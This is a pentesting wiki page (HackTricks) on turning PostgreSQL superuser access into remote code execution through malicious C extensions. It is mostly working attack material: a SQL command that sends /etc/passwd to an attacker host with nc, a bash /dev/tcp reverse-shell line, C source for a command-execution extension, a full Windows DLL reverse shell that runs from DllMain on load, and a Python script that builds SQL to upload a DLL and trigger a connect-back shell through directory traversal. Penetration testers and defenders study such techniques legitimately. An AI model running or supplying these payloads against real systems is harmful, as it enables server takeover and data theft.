HackTricks
Search…
Pentesting
Pentesting Web
RCE with PostgreSQL Extensions

PostgreSQL Extensions

PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in. Extensions are modules that supply extra functions, operators, or types. They are libraries written in C. From PostgreSQL > 8.1 the extension libraries must be compiled with a especial header or PostgreSQL will refuse to execute them.
Also, keep in mind that if you don't know how to upload files to the victim abusing PostgreSQL you should read this post.

RCE in Linux

The process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented (Metasploit module):
1
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
2
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
Copied!
However, when attempted on PostgreSQL 9.0, the following error was shown:
1
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6: missing magic block
2
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Copied!
This error is explained in the PostgreSQL documentation:
To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif
So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block.

Compile the library

First of all you need to know the version of PostgreSQL running:
1
SELECT version();
2
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
Copied!
The major versions have to match, so in this case compiling a library using any 9.6.x should work. Then install that version in your system:
1
apt install postgresql postgresql-server-dev-9.6
Copied!
And compile the library:
1
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
2
#include <string.h>
3
#include "postgres.h"
4
#include "fmgr.h"
5
6
#ifdef PG_MODULE_MAGIC
7
PG_MODULE_MAGIC;
8
#endif
9
10
PG_FUNCTION_INFO_V1(pg_exec);
11
Datum pg_exec(PG_FUNCTION_ARGS) {
12
char* command = PG_GETARG_CSTRING(0);
13
PG_RETURN_INT32(system(command));
14
}
Copied!
Then upload the compiled library and execute commands with:
1
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
2
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
3
#Notice the double single quotes are needed to scape the qoutes
Copied!
You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with:
GitHub - Dionach/pgexec: Script and resources to execute shell commands using access to a PostgreSQL service
GitHub

RCE in Windows

The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:
1
#include "postgres.h"
2
#include <string.h>
3
#include "fmgr.h"
4
#include "utils/geo_decls.h"
5
#include <stdio.h>
6
#include "utils/builtins.h"
7
8
#ifdef PG_MODULE_MAGIC
9
PG_MODULE_MAGIC;
10
#endif
11
12
/* Add a prototype marked PGDLLEXPORT */
13
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
14
PG_FUNCTION_INFO_V1(pgsql_exec);
15
16
/* this function launches the executable passed in as the first parameter
17
in a FOR loop bound by the second parameter that is also passed*/
18
Datum
19
pgsql_exec(PG_FUNCTION_ARGS)
20
{
21
/* convert text pointer to C string */
22
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
23
24
/* retrieve the second argument that is passed to the function (an integer)
25
that will serve as our counter limit*/
26
27
int instances = PG_GETARG_INT32(1);
28
29
for (int c = 0; c < instances; c++) {
30
/*launch the process passed in the first parameter*/
31
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
32
}
33
PG_RETURN_VOID();
34
}
Copied!
You can find the DLL compiled in this zip:
pgsql_exec.zip
4KB
Binary
You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe 2 times:
1
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
2
SELECT remote_exec('calc.exe', 2);
3
DROP FUNCTION remote_exec(text, integer);
Copied!
In here you can find this reverse-shell:
1
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
2
#define PG_REVSHELL_CALLHOME_PORT "4444"
3
4
#include "postgres.h"
5
#include <string.h>
6
#include "fmgr.h"
7
#include "utils/geo_decls.h"
8
#include <winsock2.h>
9
10
#pragma comment(lib,"ws2_32")
11
12
#ifdef PG_MODULE_MAGIC
13
PG_MODULE_MAGIC;
14
#endif
15
16
#pragma warning(push)
17
#pragma warning(disable: 4996)
18
#define _WINSOCK_DEPRECATED_NO_WARNINGS
19
20
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
21
_In_ DWORD fdwReason,
22
_In_ LPVOID lpvReserved)
23
{
24
WSADATA wsaData;
25
SOCKET wsock;
26
struct sockaddr_in server;
27
char ip_addr[16];
28
STARTUPINFOA startupinfo;
29
PROCESS_INFORMATION processinfo;
30
31
char *program = "cmd.exe";
32
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
33
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
34
35
WSAStartup(MAKEWORD(2, 2), &wsaData);
36
wsock = WSASocket(AF_INET, SOCK_STREAM,
37
IPPROTO_TCP, NULL, 0, 0);
38
39
struct hostent *host;
40
host = gethostbyname(ip);
41
strcpy_s(ip_addr, sizeof(ip_addr),
42
inet_ntoa(*((struct in_addr *)host->h_addr)));
43
44
server.sin_family = AF_INET;
45
server.sin_port = htons(port);
46
server.sin_addr.s_addr = inet_addr(ip_addr);
47
48
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
49
NULL, NULL, NULL, NULL);
50
51
memset(&startupinfo, 0, sizeof(startupinfo));
52
startupinfo.cb = sizeof(startupinfo);
53
startupinfo.dwFlags = STARTF_USESTDHANDLES;
54
startupinfo.hStdInput = startupinfo.hStdOutput =
55
startupinfo.hStdError = (HANDLE)wsock;
56
57
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
58
NULL, NULL, &startupinfo, &processinfo);
59
60
return TRUE;
61
}
62
63
#pragma warning(pop) /* re-enable 4996 */
64
65
/* Add a prototype marked PGDLLEXPORT */
66
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
67
68
PG_FUNCTION_INFO_V1(add_one);
69
70
Datum dummy_function(PG_FUNCTION_ARGS)
71
{
72
int32 arg = PG_GETARG_INT32(0);
73
74
PG_RETURN_INT32(arg + 1);
75
}
Copied!
Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:
1
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Copied!

RCE in newest Prostgres versions

On the latest versions of PostgreSQL, the superuser is no longer allowed to load a shared library file from anywhere else besides C:\Program Files\PostgreSQL\11\lib on Windows or /var/lib/postgresql/11/lib on *nix. Additionally, this path is not writable by either the NETWORK_SERVICE or postgres accounts.
However, an authenticated database superuser can write binary files to the file-system using “large objects” and can of course write to the C:\Program Files\PostgreSQL\11\data directory. The reason for this should be clear, for updating/creating tables in the database.
The underlying issue is that the CREATE FUNCTION operative allows for a directory traversal to the data directory! So essentially, an authenticated attacker can write a shared library file into the data directory and use the traversal to load the shared library. This means an attacker can get native code execution and as such, execute arbitrary code.

Attack flow

First of all you need to use large objects to upload the dll. You can see how to do that here:
Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
1
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
2
select connect_back('192.168.100.54', 1234);
Copied!
Note that you don't need to append the .dll extension as the create function will add it.
For more information read the original publication here. In that publication this was the code use to generate the postgres extension (to learn how to compile a postgres extension read any of the previous versions). In the same page this exploit to automate this technique was given:
1
#!/usr/bin/env python3
2
import sys
3
4
if len(sys.argv) != 4:
5
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
6
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
7
sys.exit(1)
8
9
host = sys.argv[1]
10
port = int(sys.argv[2])
11
lib = sys.argv[3]
12
with open(lib, "rb") as dll:
13
d = dll.read()
14
sql = "select lo_import('C:/Windows/win.ini', 1337);"
15
for i in range(0, len(d)//2048):
16
start = i * 2048
17
end = (i+1) * 2048
18
if i == 0:
19
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
20
else:
21
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
22
if (len(d) % 2048) != 0:
23
end = (i+1) * 2048
24
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
25
26
sql += "select lo_export(1337, 'poc.dll');"
27
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
28
sql += "select connect_back('%s', %d);" % (host, port)
29
print("(+) building poc.sql file")
30
with open("poc.sql", "w") as sqlfile:
31
sqlfile.write(sql)
32
print("(+) run poc.sql in PostgreSQL using the superuser")
33
print("(+) for a db cleanup only, run the following sql:")
34
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
35
print(" drop function connect_back(text, integer);")
Copied!
Last modified 1yr ago